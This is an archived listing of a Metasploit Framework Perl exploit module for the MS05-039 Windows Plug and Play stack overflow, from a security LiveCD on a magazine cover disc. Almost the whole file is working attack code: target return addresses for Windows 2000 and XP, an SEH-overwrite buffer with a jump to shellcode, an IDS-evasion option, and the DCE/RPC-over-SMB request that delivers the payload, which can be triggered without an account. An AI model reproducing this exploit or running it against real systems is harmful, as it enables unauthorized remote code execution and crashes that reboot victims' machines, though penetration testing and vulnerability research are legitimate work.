home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / ms05_039_pnp.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  238 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::ms05_039_pnp;
  11. use base "Msf::Exploit";
  12. use strict;
  13.  
  14. use Pex::Text;
  15. use Pex::NDR;
  16. use Pex::DCERPC;
  17. use Pex::x86;
  18.  
  19. my $advanced = {
  20.     'FragSize'    => [ 256, 'The application fragment size to use with DCE RPC' ],
  21.     'BindEvasion' => [   0, 'IDS Evasion of the Bind request' ],
  22.     'DirectSMB'   =>
  23.       [
  24.         0, 'Use the direct SMB protocol (445/tcp) instead of SMB over NetBIOS'
  25.       ],
  26.   };
  27.  
  28. my $info = {
  29.     'Name'    => 'Microsoft PnP MS05-039 Overflow',
  30.     'Version' => '$Revision: 1.12 $',
  31.     'Authors' => [
  32.         'H D Moore <hdm [at] metasploit.com>',
  33.         'Brian Caswell <bmc [at] shmoo.com>'
  34.       ],
  35.  
  36.     'Arch' => ['x86'],
  37.     'OS'   => [ 'win32', 'win2000' ],
  38.     'Priv' => 1,
  39.  
  40.     'AutoOpts' => { 'EXITFUNC' => 'thread' },
  41.  
  42.     'UserOpts' =>
  43.       {
  44.         'RHOST'  => [1, 'ADDR', 'The target address'],
  45.         'RPORT'  => [1, 'PORT', 'The target port', 139],
  46.  
  47.         # Optional pipe name
  48.         'SMBPIPE' => [ 1, 'DATA', 'Pipe name: browser, srvsvc, wkssvc', 'browser' ],
  49.  
  50.         # SMB connection options
  51.         'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
  52.         'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
  53.         'SMBDOM'  => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
  54.       },
  55.  
  56.     'Payload' =>
  57.       {
  58.         'Space'    => 1000,
  59.         'BadChars' => '',
  60.         'Keys'     => ['-ws2ord'],    # no winsock in services.exe
  61.         'MaxNops'  => 0,
  62.         'MinNops'  => 0,
  63.       },
  64.  
  65.     'DefaultTarget' => -1,
  66.  
  67.     'Targets' => [
  68.         [ 'Windows 2000 SP0-SP4 English', 0x767a38f6, ], # umpnpmgr.dll (metasploit)
  69.         [ 'Windows 2000 SP4 English/French/German/Dutch', 0x01013C79, ], # [Pita] [Houmous] <pita@mail.com>
  70.         [ 'Windows 2000 SP4 French',      0x767438f6, ], # ExaProbe <fmourron@exaprobe.com>
  71.         [ 'Windows 2000 SP4 Spanish',     0x767738f6, ], # ?
  72.         [ 'Windows 2000 SP0-SP4 German',  0x767338f6, ], # Michael Thumann <mthumann@ernw.de>
  73.         [ 'Windows 2000 SP0-SP4 Italian', 0x7677366f, ], # acaro <acaro@jervus.it>
  74.         [ 'Windows XP SP1',               0x758c572a, 'ntsvcs',  0x10 ], # xP SP1 target by <anonymous>
  75.       ],
  76.  
  77.     'Description' => Pex::Text::Freeform(
  78.         qq{
  79.         This module exploits a stack overflow in the Windows
  80.     Plug and Play service. This vulnerability can be exploited on Windows
  81.     2000 without a valid user account. Since the PnP service runs inside
  82.     the service.exe process, a failed exploit attempt will cause the system
  83.     to automatically reboot.
  84. }
  85.       ),
  86.  
  87.     'Refs' => [
  88.         [ 'OSVDB', '18605' ],
  89.         [ 'CVE',   '2005-1983' ],
  90.         [ 'BID',   '14513' ],
  91.         [ 'MSB',   'MS05-039' ],
  92.         [ 'URL',   'http://www.hsc.fr/ressources/presentations/null_sessions/' ],
  93.         [ 'MIL',   '87' ],
  94.       ],
  95.  
  96.     'Keys' => ['pnp'],
  97.  
  98.     'DisclosureDate' => 'Aug 9 2005',
  99.   };
  100.  
  101. sub new {
  102.     my $class = shift;
  103.     my $self  =
  104.       $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
  105.     return ($self);
  106. }
  107.  
  108. sub Check {
  109.     my $self        = shift;
  110.     my $target_host = $self->GetVar('RHOST');
  111.     my $target_port = $self->GetVar('RPORT');
  112.     my $fragSize    = $self->GetVar('FragSize') || 256;
  113.  
  114.     if ( $self->ProbePNP( $target_host, $target_port, $fragSize, 'A' ) ) {
  115.         $self->PrintLine("[*] This system appears to be vulnerable");
  116.         return $self->CheckCode('Appears');
  117.     }
  118.  
  119.     $self->PrintLine("[*] This system does not appear to be vulnerable");
  120.     return $self->CheckCode('Unknown');
  121. }
  122.  
  123. sub Exploit {
  124.     my $self        = shift;
  125.     my $target_host = $self->GetVar('RHOST');
  126.     my $target_port = $self->GetVar('RPORT');
  127.     my $fragSize    = $self->GetVar('FragSize') || 256;
  128.     my $target      = $self->Targets->[ $self->GetVar('TARGET') ];
  129.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  130.  
  131.     my $return  = pack( 'V', $target->[1] );
  132.     my $request =
  133.  
  134.       # Get to seh next ptr
  135.       Pex::Text::RandomData( ($target->[3] ? $target->[3] : 0x38) ) .
  136.  
  137.       # SEH Next / jmp to shellcode
  138.       Pex::x86::JmpShort('$+32') . Pex::Text::RandomData(2) .
  139.  
  140.       # SEH Handler
  141.       $return . Pex::Text::RandomData(20) .
  142.  
  143.       # ResourceName - cause access violation on RtlInitUnicodeString
  144.       Pex::Text::RandomData(3) . "\xff" .
  145.  
  146.       # shellcode!
  147.       $shellcode;
  148.  
  149.     $self->ProbePNP( $target_host, $target_port, $fragSize, $request );
  150.     return;
  151. }
  152.  
  153. sub ProbePNP {
  154.     my $self        = shift;
  155.     my $target_host = shift;
  156.     my $target_port = shift;
  157.     my $fragSize    = shift;
  158.     my $request     = shift;
  159.     my $target_name = '*SMBSERVER';
  160.     my $target      = $self->Targets->[ $self->GetVar('TARGET') ];
  161.  
  162.     my $pipe    =  '\\' . ($target->[2] ? $target->[2] : $self->GetVar('SMBPIPE'));
  163.     my $uuid    = '8d9f4e40-a03d-11ce-8f69-08003e30051b';
  164.     my $version = '1.0';
  165.     my $handle  = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe );
  166.  
  167.     my $dce = Pex::DCERPC->new(
  168.         'handle'      => $handle,
  169.         'username'    => $self->GetVar('SMBUSER'),
  170.         'password'    => $self->GetVar('SMBPASS'),
  171.         'domain'      => $self->GetVar('SMBDOM'),
  172.         'fragsize'    => $self->GetVar('FragSize'),
  173.         'bindevasion' => $self->GetVar('BindEvasion'),
  174.         'directsmb'   => $self->GetVar('DirectSMB'),
  175.       );
  176.  
  177.     if ( !$dce ) {
  178.         $self->PrintLine("[*] Could not bind to $handle");
  179.         return;
  180.     }
  181.  
  182.     my $smb = $dce->{'_handles'}{$handle}{'connection'};        
  183.     if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
  184.         $self->PrintLine("[*] Detected a Windows 2000 target");
  185.     }
  186.     elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
  187.         $self->PrintLine("[*] Detected a Windows XP target");
  188.     }
  189.     else {
  190.         $self->PrintLine("[*] No target is available for ".$smb->PeerNativeOS);
  191.     }
  192.         
  193.     # CS_DES
  194.     # CSD_SignatureLength, CSD_LegacyDataOffset, CSD_LegacyDataSize, CSD_Flags
  195.     # GUID and then the dataz
  196.  
  197.     my $cs_des = Pex::NDR::Long( 0, 0, length($request), 0 ). Pex::Text::RandomData(16). $request;
  198.  
  199.     # PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
  200.     my $stub =
  201.  
  202.       # ResourceName:
  203.       # our device name, good enough to pass IsLegalDeviceId and IsRootDeviceID
  204.       Pex::NDR::UnicodeConformantVaryingString('a\\b\\c') .
  205.  
  206.       # ResourceID:
  207.       # 0xffff - ResType_ClassSpecific
  208.       Pex::NDR::Long(0xffff) .
  209.  
  210.       # ResourceData
  211.       # our CS_DES structure
  212.       Pex::NDR::UniConformantArray($cs_des) .
  213.  
  214.       # ResourceLen (I'm guessing the server double checks this?)
  215.       Pex::NDR::Long( length($cs_des) ) .
  216.  
  217.       # OutputLen
  218.       # Need to be atleast 4...
  219.       Pex::NDR::Long(4) .
  220.  
  221.       # Flags
  222.       # unused? something said it must be zero?...
  223.       Pex::NDR::Long(0);
  224.  
  225.     $self->PrintLine("[*] Sending request...");
  226.     my @response = $dce->request( $handle, 0x36, $stub );
  227.     if ( $dce->{'response'}->{'StubData'} eq "\x04\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00" ) {
  228.         return 1;
  229.     }
  230.     else {
  231.         foreach my $line (@response) {
  232.             $self->PrintLine( '[*] ' . $line );
  233.         }
  234.     }
  235. }
  236.  
  237. 1;
  238.